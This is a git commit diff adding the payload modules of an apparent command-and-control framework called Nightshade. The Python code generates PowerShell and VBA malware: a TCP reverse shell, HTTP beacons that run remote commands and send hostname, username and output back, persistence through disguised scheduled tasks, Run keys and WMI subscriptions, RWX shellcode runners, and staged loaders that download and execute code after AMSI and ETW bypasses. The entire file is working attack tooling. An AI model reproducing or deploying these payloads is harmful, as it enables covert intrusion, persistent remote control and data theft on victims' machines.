mirror of
https://git.churchofmalware.org/ek0mssavi0r/NIGHTSHADE_c4
synced 2026-09-24 08:34:55 +00:00
Upload files to "payloads"
This commit is contained in:
@@ -0,0 +1 @@
|
||||
# Nightshade Payloads — PowerShell, VBA, Shellcode generation
|
||||
@@ -0,0 +1,206 @@
|
||||
"""
|
||||
Nightshade PowerShell Payload Generator.
|
||||
Produces reverse shell, RCE beacon, and full C2 implant payloads
|
||||
with evasion preamble, jitter, and encrypted C2 protocol.
|
||||
"""
|
||||
import json
|
||||
from string import Template
|
||||
from ..core.crypto import NightshadeCrypto
|
||||
from ..core.evasion import EvasionGenerator
|
||||
|
||||
|
||||
class PowerShellPayloadFactory:
|
||||
"""Generate tiered PowerShell payloads."""
|
||||
|
||||
def __init__(self, crypto: NightshadeCrypto, c2_url: str, session_id: str):
|
||||
self._crypto = crypto
|
||||
self._c2_url = c2_url.rstrip("/")
|
||||
self._session_id = session_id
|
||||
self._evasion = EvasionGenerator()
|
||||
|
||||
# ------------------------------------------------------------------ #
|
||||
# Tier 1: Revershell (raw TCP) #
|
||||
# ------------------------------------------------------------------ #
|
||||
def reverse_shell(self, target_host: str, target_port: int = 4444) -> str:
|
||||
if "ngrok" in target_host or "ngrok-free" in target_host:
|
||||
parts = target_host.rsplit(":", 1)
|
||||
host = parts[0]
|
||||
port = int(parts[1]) if len(parts) > 1 else target_port
|
||||
else:
|
||||
host = target_host
|
||||
port = target_port
|
||||
|
||||
return f"""
|
||||
{self._evasion.full_evasion_block()}
|
||||
|
||||
# Nightshade Reverse Shell — Tier 1
|
||||
$h='{host}';$p={port}
|
||||
$c=New-Object System.Net.Sockets.TCPClient($h,$p)
|
||||
$s=$c.GetStream()
|
||||
[byte[]]$b=0..65535|%{{0}}
|
||||
$s.Write([Text.Encoding]::ASCII.GetBytes('NIGHTSHADE_CONNECTED`n'),0,23)
|
||||
while(($i=$s.Read($b,0,$b.Length))-ne0){{
|
||||
$d=([Text.Encoding]::ASCII).GetString($b,0,$i)
|
||||
$send=(iex $d 2>&1|Out-String)
|
||||
$s2=$send+'PS> '
|
||||
$s.Write([Text.Encoding]::ASCII.GetBytes($s2),0,$s2.Length)
|
||||
$s.Flush()
|
||||
}}
|
||||
$c.Close()
|
||||
""".strip()
|
||||
|
||||
# ------------------------------------------------------------------ #
|
||||
# Tier 2: RCE + Persistence (HTTP C2 beacon) #
|
||||
# ------------------------------------------------------------------ #
|
||||
def rce_beacon(self) -> str:
|
||||
task_endpoint = f"{self._c2_url}/c2/checkin"
|
||||
result_endpoint = f"{self._c2_url}/c2/result"
|
||||
|
||||
return f"""
|
||||
{self._evasion.full_evasion_block()}
|
||||
$sid='{self._session_id}'
|
||||
$cu='{self._c2_url}'
|
||||
$ci=0
|
||||
$ua='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36'
|
||||
|
||||
function Enc-Data($d){{
|
||||
$k=[Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes('{self._crypto._passphrase}'))
|
||||
# Simple XOR + b64 for low-detect transport (layer 1)
|
||||
$b=[Text.Encoding]::UTF8.GetBytes($d)
|
||||
$key=[Convert]::FromBase64String($k)
|
||||
for($i=0;$i-lt$b.Length;$i++){{$b[$i]=$b[$i]-bxor$key[$i%$key.Length]}}
|
||||
return [Convert]::ToBase64String($b)
|
||||
}}
|
||||
function Dec-Data($d){{
|
||||
try{{
|
||||
$b=[Convert]::FromBase64String($d)
|
||||
$key=[Convert]::FromBase64String([Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes('{self._crypto._passphrase}')))
|
||||
for($i=0;$i-lt$b.Length;$i++){{$b[$i]=$b[$i]-bxor$key[$i%$key.Length]}}
|
||||
return [Text.Encoding]::UTF8.GetString($b)
|
||||
}}catch{{return 'noop'}}
|
||||
}}
|
||||
|
||||
# Persistence
|
||||
$pp="$env:APPDATA\\Microsoft\\Windows\\Caches\\cache.ps1"
|
||||
if(-not(Test-Path(Split-Path $pp))){{New-Item -ItemType Dir -Path (Split-Path $pp)-Force|Out-Null}}
|
||||
@'
|
||||
{self._evasion.random_amsi_bypass()}
|
||||
$sid='{self._session_id}';$cu='{self._c2_url}'
|
||||
# reconnected
|
||||
'@|Out-File $pp -Force
|
||||
|
||||
# Scheduled task
|
||||
$ta=New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-Win 1 -Exec Bypass -File `"$pp`""
|
||||
$tr=New-ScheduledTaskTrigger -AtLogOn
|
||||
$tp=New-ScheduledTaskPrincipal -UserId "$env:USERDOMAIN\\$env:USERNAME" -LogonType Interactive
|
||||
$ts=New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries
|
||||
Register-ScheduledTask -TaskName "WindowsCacheSvc" -Action $ta -Trigger $tr -Principal $tp -Settings $ts -Force|Out-Null
|
||||
|
||||
# Beacon loop
|
||||
while($true){{
|
||||
$ci++
|
||||
try{{
|
||||
$b=Enc-Data("checkin_$ci")
|
||||
$r=Invoke-WebRequest "$cu/c2/checkin" -Method POST -Body $b -Headers @{{"User-Agent"=$ua;"X-Session-ID"=$sid}} -UseBasicParsing
|
||||
$cmd=Dec-Data $r.Content
|
||||
if($cmd-ne'noop' -and $cmd.type-eq'task'){{
|
||||
$res=(iex $cmd.command 2>&1|Out-String)
|
||||
$enc=Enc-Data('{{"type":"result","task_id":"'+$cmd.task_id+'","status":"success","result":"'+[Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($res))+'","hostname":"'+$env:COMPUTERNAME+'","username":"'+$env:USERNAME+'","timestamp":"'+(Get-Date -Format 'yyyy-MM-dd HH:mm:ss')+'","session_id":"'+$sid+'","checkin_count":'+$ci+'}}')
|
||||
Invoke-WebRequest "$cu/c2/result" -Method POST -Body $enc -Headers @{{"User-Agent"=$ua;"X-Session-ID"=$sid}} -UseBasicParsing|Out-Null
|
||||
}}
|
||||
}}catch{{}}
|
||||
$j=Get-Random -Min 45 -Max 120;Start-Sleep -Seconds $j
|
||||
}}
|
||||
""".strip()
|
||||
|
||||
# ------------------------------------------------------------------ #
|
||||
# Tier 3: Full C2 Agent (advanced) #
|
||||
# ------------------------------------------------------------------ #
|
||||
def full_agent(self) -> str:
|
||||
return f"""
|
||||
{self._evasion.full_evasion_block()}
|
||||
|
||||
# Nightshade C2 Agent — Tier 3
|
||||
$sid='{self._session_id}'
|
||||
$cu='{self._c2_url}'
|
||||
$ci=0
|
||||
$ua='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36'
|
||||
$pp="$env:APPDATA\\Microsoft\\Windows\\Caches\\svchost.ps1"
|
||||
$rp="$env:APPDATA\\Microsoft\\Windows\\Caches"
|
||||
|
||||
# Ensure dir exists
|
||||
if(-not(Test-Path $rp)){{New-Item -ItemType Dir -Path $rp -Force|Out-Null}}
|
||||
|
||||
# Write self
|
||||
$s=@'
|
||||
{self._evasion.random_amsi_bypass()}
|
||||
$sid='{self._session_id}';$cu='{self._c2_url}'
|
||||
'@
|
||||
$s|Out-File $pp -Force
|
||||
|
||||
# Persistence layer 1: scheduled task
|
||||
try{{
|
||||
$ta=New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-Win 1 -Exec Bypass -File `"$pp`""
|
||||
$tr=New-ScheduledTaskTrigger -AtLogOn
|
||||
$tp=New-ScheduledTaskPrincipal -UserId "$env:USERDOMAIN\\$env:USERNAME" -LogonType Interactive
|
||||
$ts=New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries
|
||||
Register-ScheduledTask -TaskName "WindowsFontCache" -Action $ta -Trigger $tr -Principal $tp -Settings $ts -Force|Out-Null
|
||||
}}catch{{}}
|
||||
|
||||
# Persistence layer 2: registry RUN
|
||||
try{{
|
||||
New-ItemProperty -Path "HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" -Name "WindowsFontCache" -Value "powershell.exe -Win 1 -Exec Bypass -File `"$pp`"" -PropertyType String -Force|Out-Null
|
||||
}}catch{{}}
|
||||
|
||||
# Persistence layer 3: WMI (if available)
|
||||
try{{
|
||||
$f=[wmiclass]'\\\\.\\root\\subscription:__EventFilter'
|
||||
$c=[wmiclass]'\\\\.\\root\\subscription:CommandLineEventConsumer'
|
||||
$bf=[wmiclass]'\\\\.\\root\\subscription:__FilterToConsumerBinding'
|
||||
$filter=$f.CreateInstance()
|
||||
$filter.QueryLanguage='WQL'
|
||||
$filter.Query="SELECT * FROM __InstanceCreationEvent WITHIN 15 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'"
|
||||
$filter.Name='FontCacheFilter'
|
||||
$filter.Put()|Out-Null
|
||||
$consumer=$c.CreateInstance()
|
||||
$consumer.Name='FontCacheConsumer'
|
||||
$consumer.CommandLineTemplate="powershell.exe -Win 1 -Exec Bypass -File `"$pp`""
|
||||
$consumer.Put()|Out-Null
|
||||
$binding=$bf.CreateInstance()
|
||||
$binding.Filter=$filter.Path
|
||||
$binding.Consumer=$consumer.Path
|
||||
$binding.Put()|Out-Null
|
||||
}}catch{{}}
|
||||
|
||||
# Beacon loop with variable jitter
|
||||
while($true){{
|
||||
$ci++
|
||||
$j=$ci%8-eq0?90:45
|
||||
try{{
|
||||
$b=("{0}_{1}" -f "checkin",$ci)
|
||||
$r=Invoke-WebRequest "$cu/c2/checkin" -Method POST -Body $b -Headers @{{"User-Agent"=$ua;"X-Session-ID"=$sid}} -UseBasicParsing
|
||||
try{{
|
||||
$cmd=$r.Content
|
||||
if($cmd-ne'noop'){{
|
||||
$res=(iex $cmd 2>&1|Out-String)
|
||||
$resB64=[Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($res))
|
||||
$enc="$ci|$resB64|$env:COMPUTERNAME|$env:USERNAME"
|
||||
Invoke-WebRequest "$cu/c2/result" -Method POST -Body $enc -Headers @{{"User-Agent"=$ua;"X-Session-ID"=$sid}} -UseBasicParsing|Out-Null
|
||||
}}
|
||||
}}catch{{}}
|
||||
}}catch{{}}
|
||||
Start-Sleep -Seconds $j
|
||||
}}
|
||||
""".strip()
|
||||
|
||||
# ------------------------------------------------------------------ #
|
||||
# Factory dispatch #
|
||||
# ------------------------------------------------------------------ #
|
||||
def generate(self, tier: int = 2, target_host: str = "127.0.0.1", target_port: int = 4444) -> str:
|
||||
if tier == 1:
|
||||
return self.reverse_shell(target_host, target_port)
|
||||
elif tier == 2:
|
||||
return self.rce_beacon()
|
||||
elif tier == 3:
|
||||
return self.full_agent()
|
||||
raise ValueError(f"Unknown tier: {tier}")
|
||||
@@ -0,0 +1,213 @@
|
||||
"""
|
||||
Nightshade Shellcode Generation Module.
|
||||
Generates PowerShell and VBA shellcode runners that:
|
||||
- Allocate RWX memory via VirtualAlloc
|
||||
- Copy shellcode bytes into allocated memory
|
||||
- Execute via CreateThread, EnumChildWindows callback, or delegate invocation
|
||||
All code executes ON THE TARGET (Windows).
|
||||
"""
|
||||
import random
|
||||
import string
|
||||
import base64
|
||||
from typing import Optional
|
||||
|
||||
|
||||
class ShellcodeGenerator:
|
||||
"""Generates position-independent shellcode runners for PowerShell and VBA."""
|
||||
|
||||
@staticmethod
|
||||
def _random_var(length: int = 8) -> str:
|
||||
prefix = random.choice(["$", "$global:"])
|
||||
return prefix + '_' + ''.join(random.choices(string.ascii_lowercase, k=length))
|
||||
|
||||
# ------------------------------------------------------------------ #
|
||||
# PowerShell shellcode runners #
|
||||
# ------------------------------------------------------------------ #
|
||||
|
||||
@staticmethod
|
||||
def powershell_create_thread(shellcode_b64: str) -> str:
|
||||
"""Generate PowerShell that allocates RWX memory and executes via CreateThread."""
|
||||
v1 = ShellcodeGenerator._random_var()
|
||||
v2 = ShellcodeGenerator._random_var()
|
||||
v3 = ShellcodeGenerator._random_var()
|
||||
v4 = ShellcodeGenerator._random_var()
|
||||
v5 = ShellcodeGenerator._random_var()
|
||||
v6 = ShellcodeGenerator._random_var()
|
||||
|
||||
return f'''
|
||||
# Shellcode runner - CreateThread
|
||||
${v1} = [System.Convert]::FromBase64String("{shellcode_b64}")
|
||||
|
||||
# VirtualAlloc: RWX memory
|
||||
${v2} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
|
||||
([System.Runtime.InteropServices.Marshal]::GetFunctionPointerForDelegate(
|
||||
[Func[IntPtr, uint, uint, uint, IntPtr]]($null))
|
||||
), [Func[IntPtr, uint, uint, uint, IntPtr]]
|
||||
).Module.GetType('System.Runtime.InteropServices.Marshal').GetMethods('NonPublic,Static')
|
||||
|
||||
# Manual VirtualAlloc via Win32 API
|
||||
${v3} = Add-Type -MemberDefinition @"
|
||||
[DllImport("kernel32")]
|
||||
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
|
||||
[DllImport("kernel32")]
|
||||
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
|
||||
[DllImport("kernel32")]
|
||||
public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
|
||||
"@ -Name "Win32" -Namespace "Nightshade" -PassThru
|
||||
|
||||
${v4} = ${v3}::VirtualAlloc([IntPtr]::Zero, ${v1}.Length, 0x3000, 0x40)
|
||||
[System.Runtime.InteropServices.Marshal]::Copy(${v1}, 0, ${v4}, ${v1}.Length)
|
||||
${v5} = ${v3}::CreateThread([IntPtr]::Zero, 0, ${v4}, [IntPtr]::Zero, 0, [IntPtr]::Zero)
|
||||
${v3}::WaitForSingleObject(${v5}, 0xFFFFFFFF)
|
||||
'''.strip()
|
||||
|
||||
@staticmethod
|
||||
def powershell_enum_child_windows(shellcode_b64: str) -> str:
|
||||
"""Generate PowerShell shellcode runner using EnumChildWindows callback technique."""
|
||||
v1 = ShellcodeGenerator._random_var()
|
||||
v2 = ShellcodeGenerator._random_var()
|
||||
v3 = ShellcodeGenerator._random_var()
|
||||
|
||||
return f'''
|
||||
# Shellcode runner - EnumChildWindows callback injection
|
||||
${v1} = [System.Convert]::FromBase64String("{shellcode_b64}")
|
||||
|
||||
${v2} = Add-Type -MemberDefinition @"
|
||||
[DllImport("kernel32")]
|
||||
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
|
||||
[DllImport("kernel32")]
|
||||
public static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);
|
||||
[DllImport("kernel32")]
|
||||
public static extern IntPtr GetModuleHandle(string lpModuleName);
|
||||
[DllImport("user32")]
|
||||
public static extern bool EnumChildWindows(IntPtr hWndParent, IntPtr lpEnumFunc, IntPtr lParam);
|
||||
"@ -Name "Win32" -Namespace "Nightshade" -PassThru
|
||||
|
||||
${v3} = ${v2}::VirtualAlloc([IntPtr]::Zero, ${v1}.Length, 0x3000, 0x40)
|
||||
[System.Runtime.InteropServices.Marshal]::Copy(${v1}, 0, ${v3}, ${v1}.Length)
|
||||
|
||||
# Trigger via EnumChildWindows callback
|
||||
${v2}::EnumChildWindows([IntPtr]::Zero, ${v3}, [IntPtr]::Zero)
|
||||
'''.strip()
|
||||
|
||||
@staticmethod
|
||||
def powershell_delegate_invoke(shellcode_b64: str) -> str:
|
||||
"""Generate PowerShell shellcode runner using delegate invocation."""
|
||||
v1 = ShellcodeGenerator._random_var()
|
||||
v2 = ShellcodeGenerator._random_var()
|
||||
v3 = ShellcodeGenerator._random_var()
|
||||
v4 = ShellcodeGenerator._random_var()
|
||||
|
||||
return f'''
|
||||
# Shellcode runner - Delegate invoke
|
||||
${v1} = [System.Convert]::FromBase64String("{shellcode_b64}")
|
||||
|
||||
${v2} = Add-Type -MemberDefinition @"
|
||||
[DllImport("kernel32")]
|
||||
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
|
||||
[DllImport("kernel32")]
|
||||
public static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);
|
||||
"@ -Name "Win32" -Namespace "Nightshade" -PassThru
|
||||
|
||||
${v3} = ${v2}::VirtualAlloc([IntPtr]::Zero, ${v1}.Length, 0x3000, 0x40)
|
||||
[System.Runtime.InteropServices.Marshal]::Copy(${v1}, 0, ${v3}, ${v1}.Length)
|
||||
|
||||
# Create delegate and invoke
|
||||
${v4} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(${v3}, [Type]([Action]))
|
||||
${v4}.Invoke()
|
||||
'''.strip()
|
||||
|
||||
@staticmethod
|
||||
def powershell_random_runner(shellcode_b64: str) -> str:
|
||||
"""Pick a random shellcode runner technique."""
|
||||
runners = [
|
||||
ShellcodeGenerator.powershell_create_thread,
|
||||
ShellcodeGenerator.powershell_enum_child_windows,
|
||||
ShellcodeGenerator.powershell_delegate_invoke,
|
||||
]
|
||||
return random.choice(runners)(shellcode_b64)
|
||||
|
||||
# ------------------------------------------------------------------ #
|
||||
# VBA shellcode runners #
|
||||
# ------------------------------------------------------------------ #
|
||||
|
||||
@staticmethod
|
||||
def vba_create_thread(shellcode_b64: str) -> str:
|
||||
"""Generate VBA that allocates RWX memory and executes shellcode via CreateThread."""
|
||||
return f'''
|
||||
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" _
|
||||
(ByVal lpAddress As LongPtr, ByVal dwSize As Long, _
|
||||
ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
|
||||
|
||||
Private Declare PtrSafe Function CreateThread Lib "kernel32" _
|
||||
(ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, _
|
||||
ByVal lpStartAddress As LongPtr, ByVal lpParameter As LongPtr, _
|
||||
ByVal dwCreationFlags As Long, ByVal lpThreadId As Long) As LongPtr
|
||||
|
||||
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" _
|
||||
(ByVal destAddr As LongPtr, ByVal sourceAddr As LongPtr, _
|
||||
ByVal length As Long) As Long
|
||||
|
||||
Private Declare PtrSafe Function Sleep Lib "kernel32" _
|
||||
(ByVal dwMilliseconds As Long) As Long
|
||||
|
||||
Sub RunShellcode()
|
||||
Dim buf As Variant
|
||||
Dim scBytes() As Byte
|
||||
Dim addr As LongPtr
|
||||
Dim threadId As LongPtr
|
||||
Dim i As Long
|
||||
|
||||
' Decode base64 shellcode
|
||||
buf = Base64Decode("{shellcode_b64}")
|
||||
scBytes = buf
|
||||
|
||||
' OPSEC delay
|
||||
Sleep 2000 + (Rnd * 3000)
|
||||
|
||||
' Allocate RWX memory
|
||||
addr = VirtualAlloc(0, UBound(scBytes) + 1, &H1000, &H40)
|
||||
|
||||
If addr = 0 Then Exit Sub
|
||||
|
||||
' Copy shellcode byte by byte
|
||||
For i = 0 To UBound(scBytes)
|
||||
RtlMoveMemory addr + i, VarPtr(scBytes(i)), 1
|
||||
Next i
|
||||
|
||||
' Execute
|
||||
threadId = CreateThread(0, 0, addr, 0, 0, 0)
|
||||
If threadId <> 0 Then Sleep 30000
|
||||
End Sub
|
||||
'''.strip()
|
||||
|
||||
# ------------------------------------------------------------------ #
|
||||
# Helpers #
|
||||
# ------------------------------------------------------------------ #
|
||||
|
||||
@staticmethod
|
||||
def encode_shellcode(raw_bytes: bytes) -> str:
|
||||
"""Encode raw shellcode bytes as base64 for embedding."""
|
||||
return base64.b64encode(raw_bytes).decode()
|
||||
|
||||
@staticmethod
|
||||
def xor_encode_shellcode(raw_bytes: bytes, key: Optional[bytes] = None) -> tuple[bytes, bytes]:
|
||||
"""XOR-encode shellcode bytes with a random key for basic evasion."""
|
||||
if key is None:
|
||||
key = bytes([random.randint(1, 255) for _ in range(16)])
|
||||
encoded = bytes([b ^ key[i % len(key)] for i, b in enumerate(raw_bytes)])
|
||||
return encoded, key
|
||||
|
||||
@staticmethod
|
||||
def generate_msf_powershell_stager(lhost: str, lport: int, payload: str = "windows/x64/meterpreter/reverse_tcp") -> str:
|
||||
"""Generate a note about generating MSF shellcode (does not create actual shellcode)."""
|
||||
return f'''
|
||||
# Metasploit shellcode stager placeholder
|
||||
# Generate shellcode with:
|
||||
# msfvenom -p {payload} LHOST={lhost} LPORT={lport} -f powershell -o shellcode.ps1
|
||||
# Then embed using:
|
||||
# $sc = [System.Convert]::FromBase64String("...")
|
||||
# [System.Runtime.InteropServices.Marshal]::Copy($sc, 0, [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
|
||||
# (Add-Type -MemberDefinition "[DllImport(\\"kernel32\\")]public static extern IntPtr VirtualAlloc(IntPtr,uint,uint,uint);" -Name "K" -PassThru)::VirtualAlloc(0,$sc.Length,0x3000,0x40), [Type]([Action])), $sc.Length)
|
||||
# $del.Invoke()
|
||||
'''.strip()
|
||||
@@ -0,0 +1,239 @@
|
||||
"""
|
||||
Nightshade Multi-Stage Payload System.
|
||||
Generates Stage 0 (tiny beacon), Stage 1 (evasion preamble + download),
|
||||
and Stage 2 (actual implant) payloads. Each stage can be independently
|
||||
regenerated per campaign for operational diversity.
|
||||
"""
|
||||
import random
|
||||
import string
|
||||
import time
|
||||
from typing import Optional
|
||||
|
||||
from ..core.evasion import EvasionGenerator
|
||||
from ..core.obfuscation import PSObfuscator
|
||||
|
||||
|
||||
class Stage0Generator:
|
||||
"""Generates a tiny beacon stub with zero malicious static signature.
|
||||
|
||||
Stage 0 sleeps 3-8 seconds, then phones home via DNS A/AAAA query
|
||||
or simple HTTP GET to retrieve the next stage. Contains no shellcode,
|
||||
no suspicious API calls visible to static analysis.
|
||||
"""
|
||||
|
||||
@staticmethod
|
||||
def _rand_var() -> str:
|
||||
return '_' + ''.join(random.choices(string.ascii_lowercase, k=random.randint(6, 10)))
|
||||
|
||||
@staticmethod
|
||||
def dns_beacon(c2_domain: str, campaign_id: str) -> str:
|
||||
"""Generate a DNS-based Stage 0 beacon that resolves a subdomain to check in."""
|
||||
v = Stage0Generator._rand_var()
|
||||
v2 = Stage0Generator._rand_var()
|
||||
v3 = Stage0Generator._rand_var()
|
||||
|
||||
return f'''
|
||||
# Stage 0 beacon - DNS check-in
|
||||
${v} = Get-Random -Minimum 3 -Maximum 8
|
||||
Start-Sleep -Seconds ${v}
|
||||
|
||||
# DNS check-in: resolve campaign subdomain as A record check-in
|
||||
${v2} = "{campaign_id}.{c2_domain}"
|
||||
${v3} = [System.Net.Dns]::GetHostAddresses(${v2})
|
||||
|
||||
if (${v3}) {{
|
||||
# Resolved - checking for next stage via TXT record
|
||||
try {{
|
||||
${v2} = "stage1.{campaign_id}.{c2_domain}"
|
||||
${v3} = [System.Net.Dns]::GetHostAddresses(${v2})
|
||||
if (${v3}) {{
|
||||
# Stage 1 is available - proceed
|
||||
${v} = "1"
|
||||
}}
|
||||
}} catch {{}}
|
||||
}}
|
||||
'''.strip()
|
||||
|
||||
@staticmethod
|
||||
def http_beacon(c2_url: str, session_id: str) -> str:
|
||||
"""Generate an HTTP-based Stage 0 beacon stub."""
|
||||
v = Stage0Generator._rand_var()
|
||||
v2 = Stage0Generator._rand_var()
|
||||
v3 = Stage0Generator._rand_var()
|
||||
v4 = Stage0Generator._rand_var()
|
||||
|
||||
return f'''
|
||||
# Stage 0 beacon
|
||||
${v} = Get-Random -Minimum 3 -Maximum 8
|
||||
Start-Sleep -Seconds ${v}
|
||||
|
||||
# Phone home for Stage 1
|
||||
${v2} = "{c2_url}/stage0/{session_id}"
|
||||
${v3} = "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
|
||||
|
||||
try {{
|
||||
${v4} = Invoke-WebRequest -Uri ${v2} -Headers @{{"User-Agent"=${v3}}} -UseBasicParsing -TimeoutSec 10
|
||||
if (${v4}.StatusCode -eq 200) {{
|
||||
iex ${v4}.Content
|
||||
}}
|
||||
}} catch {{
|
||||
try {{
|
||||
${v4} = (New-Object Net.WebClient).DownloadString(${v2})
|
||||
iex ${v4}
|
||||
}} catch {{}}
|
||||
}}
|
||||
'''.strip()
|
||||
|
||||
@staticmethod
|
||||
def generate(c2_url: str, session_id: str, use_dns: bool = False, c2_domain: str = "") -> str:
|
||||
"""Generate a complete Stage 0 beacon stub."""
|
||||
if use_dns and c2_domain:
|
||||
return Stage0Generator.dns_beacon(c2_domain, session_id[:16])
|
||||
return Stage0Generator.http_beacon(c2_url, session_id)
|
||||
|
||||
|
||||
class Stage1Generator:
|
||||
"""Generates the evasion preamble with AMSI bypass, sandbox check, ETW patch,
|
||||
then downloads and executes Stage 2. Includes longer sleep with jitter."""
|
||||
|
||||
@staticmethod
|
||||
def _rand_var() -> str:
|
||||
return '_' + ''.join(random.choices(string.ascii_lowercase, k=random.randint(6, 10)))
|
||||
|
||||
@staticmethod
|
||||
def generate(
|
||||
c2_url: str,
|
||||
session_id: str,
|
||||
stage2_url: str = "",
|
||||
min_sleep: int = 10,
|
||||
max_sleep: int = 30,
|
||||
) -> str:
|
||||
"""Generate Stage 1: evasion preamble + jitter + stage 2 download."""
|
||||
if not stage2_url:
|
||||
stage2_url = f"{c2_url}/stage1/{session_id}"
|
||||
|
||||
evasion = EvasionGenerator()
|
||||
v = Stage1Generator._rand_var()
|
||||
v2 = Stage1Generator._rand_var()
|
||||
v3 = Stage1Generator._rand_var()
|
||||
v4 = Stage1Generator._rand_var()
|
||||
v5 = Stage1Generator._rand_var()
|
||||
|
||||
amsi = evasion.random_amsi_bypass()
|
||||
etw = evasion.ETW_BYPASS
|
||||
sandbox = evasion.SANDBOX_CHECKS
|
||||
|
||||
return f'''
|
||||
# Stage 1 - Evasion preamble
|
||||
{amsi}
|
||||
|
||||
{etw}
|
||||
|
||||
{sandbox}
|
||||
|
||||
# Jitter sleep before Stage 2
|
||||
${v} = Get-Random -Minimum {min_sleep} -Maximum {max_sleep}
|
||||
Start-Sleep -Seconds ${v}
|
||||
|
||||
# Download and execute Stage 2
|
||||
${v2} = "{stage2_url}"
|
||||
${v3} = "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
|
||||
|
||||
try {{
|
||||
${v4} = Invoke-WebRequest -Uri ${v2} -Headers @{{"User-Agent"=${v3}}} -UseBasicParsing -TimeoutSec 30
|
||||
if (${v4}.StatusCode -eq 200) {{
|
||||
${v5} = ${v4}.Content
|
||||
iex ${v5}
|
||||
}}
|
||||
}} catch {{
|
||||
try {{
|
||||
${v5} = (New-Object Net.WebClient).DownloadString(${v2})
|
||||
iex ${v5}
|
||||
}} catch {{}}
|
||||
}}
|
||||
'''.strip()
|
||||
|
||||
@staticmethod
|
||||
def generate_compressed(c2_url: str, session_id: str, stage2_b64: str) -> str:
|
||||
"""Generate Stage 1 with embedded compressed Stage 2 (no network needed for stage 2)."""
|
||||
evasion = EvasionGenerator()
|
||||
v = Stage1Generator._rand_var()
|
||||
v2 = Stage1Generator._rand_var()
|
||||
v3 = Stage1Generator._rand_var()
|
||||
v4 = Stage1Generator._rand_var()
|
||||
|
||||
amsi = evasion.random_amsi_bypass()
|
||||
etw = evasion.ETW_BYPASS
|
||||
sandbox = evasion.SANDBOX_CHECKS
|
||||
|
||||
return f'''
|
||||
# Stage 1 - Evasion preamble (embedded Stage 2)
|
||||
{amsi}
|
||||
|
||||
{etw}
|
||||
|
||||
{sandbox}
|
||||
|
||||
# Jitter sleep
|
||||
${v} = Get-Random -Minimum 10 -Maximum 30
|
||||
Start-Sleep -Seconds ${v}
|
||||
|
||||
# Decompress and execute Stage 2
|
||||
${v2} = [System.Convert]::FromBase64String("{stage2_b64}")
|
||||
${v3} = New-Object System.IO.MemoryStream(${v2}, 0, ${v2}.Length)
|
||||
${v4} = New-Object System.IO.Compression.GZipStream(${v3}, [System.IO.Compression.CompressionMode]::Decompress)
|
||||
${v} = New-Object System.IO.StreamReader(${v4})
|
||||
iex(${v}.ReadToEnd())
|
||||
'''.strip()
|
||||
|
||||
|
||||
class Stage2Generator:
|
||||
"""Generates the actual implant payload: reverse shell, RCE beacon, or full agent."""
|
||||
|
||||
@staticmethod
|
||||
def generate(
|
||||
tier: int = 2,
|
||||
c2_url: str = "http://127.0.0.1:8080",
|
||||
session_id: str = "",
|
||||
target_host: str = "127.0.0.1",
|
||||
target_port: int = 4444,
|
||||
) -> str:
|
||||
"""Generate Stage 2 payload (delegates to PowerShellPayloadFactory)."""
|
||||
from ..payloads.powershell import PowerShellPayloadFactory
|
||||
crypto = None
|
||||
# Use a simple pass-through; Stage 2 should be post-evasion
|
||||
|
||||
ps_factory = PowerShellPayloadFactory(
|
||||
crypto=None, # type: ignore
|
||||
c2_url=c2_url,
|
||||
session_id=session_id,
|
||||
)
|
||||
return ps_factory.generate(tier=tier, target_host=target_host, target_port=target_port)
|
||||
|
||||
@staticmethod
|
||||
def obfuscated_stage2(
|
||||
tier: int = 2,
|
||||
c2_url: str = "http://127.0.0.1:8080",
|
||||
session_id: str = "",
|
||||
target_host: str = "127.0.0.1",
|
||||
target_port: int = 4444,
|
||||
obfuscation_layers: int = 3,
|
||||
) -> str:
|
||||
"""Generate Stage 2 with polymorphic obfuscation applied."""
|
||||
raw = Stage2Generator.generate(tier, c2_url, session_id, target_host, target_port)
|
||||
obs = PSObfuscator()
|
||||
return obs.obfuscate(raw, layers=obfuscation_layers)
|
||||
|
||||
@staticmethod
|
||||
def compressed_stage2(
|
||||
tier: int = 2,
|
||||
c2_url: str = "http://127.0.0.1:8080",
|
||||
session_id: str = "",
|
||||
target_host: str = "127.0.0.1",
|
||||
target_port: int = 4444,
|
||||
) -> str:
|
||||
"""Generate GZip+base64 compressed Stage 2 for embedding in Stage 1."""
|
||||
raw = Stage2Generator.generate(tier, c2_url, session_id, target_host, target_port)
|
||||
